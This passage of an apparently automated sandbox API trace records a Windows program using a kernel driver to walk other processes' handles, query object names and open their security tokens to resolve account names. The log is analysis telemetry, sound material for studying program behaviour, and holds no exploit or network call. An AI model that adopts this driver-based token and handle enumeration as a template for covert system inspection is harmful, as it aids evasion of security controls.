Object=0xfffff88005473548*=0xfffffa80020e51a0, HandleInformation=0x0) returned 0x0 [0137.668] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.668] PsReleaseProcessExitSynchronization () returned 0x2 [0137.668] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0137.668] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.668] ObfDereferenceObject (Object=0xfffffa80020e51a0) returned 0x1 [0137.668] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.668] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.668] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.668] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.668] PsAcquireProcessExitSynchronization () returned 0x0 [0137.668] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880054735d0) [0137.668] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.668] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.668] PsReleaseProcessExitSynchronization () returned 0x2 [0137.668] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0137.668] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.668] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.668] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.668] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.668] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa10) returned 0xc0 [0137.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.668] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020f65f0, HandleInformation=0x0) returned 0x0 [0137.668] ObOpenObjectByPointer (in: Object=0xfffffa80020f65f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.669] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x12 [0137.669] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.669] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.669] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.669] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.669] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.673] CloseHandle (hObject=0xc8) returned 1 [0137.673] CloseHandle (hObject=0xc0) returned 1 [0137.673] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.673] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.673] PsAcquireProcessExitSynchronization () returned 0x0 [0137.673] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054735d0) [0137.673] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020f6f20, HandleInformation=0x0) returned 0x0 [0137.673] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.673] PsReleaseProcessExitSynchronization () returned 0x2 [0137.673] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0137.673] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.673] ObfDereferenceObject (Object=0xfffffa80020f6f20) returned 0x1 [0137.674] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.674] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.674] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.674] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.674] PsAcquireProcessExitSynchronization () returned 0x0 [0137.674] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054735d0) [0137.674] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020f81e0, HandleInformation=0x0) returned 0x0 [0137.674] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.674] PsReleaseProcessExitSynchronization () returned 0x2 [0137.674] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0137.674] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.674] ObfDereferenceObject (Object=0xfffffa80020f81e0) returned 0x1 [0137.674] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.674] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.674] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.674] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.674] PsAcquireProcessExitSynchronization () returned 0x0 [0137.674] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880054735d0) [0137.674] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.674] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.674] PsReleaseProcessExitSynchronization () returned 0x2 [0137.674] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0137.674] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0137.674] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.674] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.674] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.674] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa20) returned 0xc0 [0137.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.674] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002104b30, HandleInformation=0x0) returned 0x0 [0137.674] ObOpenObjectByPointer (in: Object=0xfffffa8002104b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.675] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x12 [0137.675] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.675] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.675] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.675] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.675] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.786] CloseHandle (hObject=0xc8) returned 1 [0137.787] CloseHandle (hObject=0xc0) returned 1 [0137.787] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.787] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.787] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.787] PsAcquireProcessExitSynchronization () returned 0x0 [0137.787] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054735d0) [0137.787] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021027f0, HandleInformation=0x0) returned 0x0 [0137.787] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.787] PsReleaseProcessExitSynchronization () returned 0x2 [0137.787] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0137.787] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0137.787] ObfDereferenceObject (Object=0xfffffa80021027f0) returned 0x1 [0137.787] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.787] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.787] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.787] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0137.787] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.787] PsAcquireProcessExitSynchronization () returned 0x0 [0137.787] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054735d0) [0137.787] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002106800, HandleInformation=0x0) returned 0x0 [0137.787] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.787] PsReleaseProcessExitSynchronization () returned 0x2 [0137.787] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0137.787] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.787] ObfDereferenceObject (Object=0xfffffa8002106800) returned 0x1 [0137.787] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.787] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.788] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.788] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.788] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.788] PsAcquireProcessExitSynchronization () returned 0x0 [0137.788] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054735d0) [0137.788] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.788] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.788] PsReleaseProcessExitSynchronization () returned 0x2 [0137.788] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0137.788] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.788] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.788] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.788] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.788] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa30) returned 0xc0 [0137.788] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.788] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800210f740, HandleInformation=0x0) returned 0x0 [0137.788] ObOpenObjectByPointer (in: Object=0xfffffa800210f740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.788] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x12 [0137.788] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.788] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.788] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.788] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.788] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.790] CloseHandle (hObject=0xc8) returned 1 [0137.790] CloseHandle (hObject=0xc0) returned 1 [0137.790] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.790] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.790] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.790] PsAcquireProcessExitSynchronization () returned 0x0 [0137.790] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054735d0) [0137.790] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800210f070, HandleInformation=0x0) returned 0x0 [0137.790] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.790] PsReleaseProcessExitSynchronization () returned 0x2 [0137.790] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0137.790] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.790] ObfDereferenceObject (Object=0xfffffa800210f070) returned 0x1 [0137.790] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.790] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.790] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.790] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0137.790] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.790] PsAcquireProcessExitSynchronization () returned 0x0 [0137.790] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054735d0) [0137.790] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002111180, HandleInformation=0x0) returned 0x0 [0137.790] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.790] PsReleaseProcessExitSynchronization () returned 0x2 [0137.790] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0137.790] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.791] ObfDereferenceObject (Object=0xfffffa8002111180) returned 0x1 [0137.791] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.791] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.791] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.791] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.791] PsAcquireProcessExitSynchronization () returned 0x0 [0137.791] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054735d0) [0137.791] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.791] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.791] PsReleaseProcessExitSynchronization () returned 0x2 [0137.791] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0137.791] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.791] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.791] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.791] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.791] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa40) returned 0xc0 [0137.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.791] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800211db30, HandleInformation=0x0) returned 0x0 [0137.791] ObOpenObjectByPointer (in: Object=0xfffffa800211db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.791] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x12 [0137.791] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.791] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.791] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.791] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.791] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", 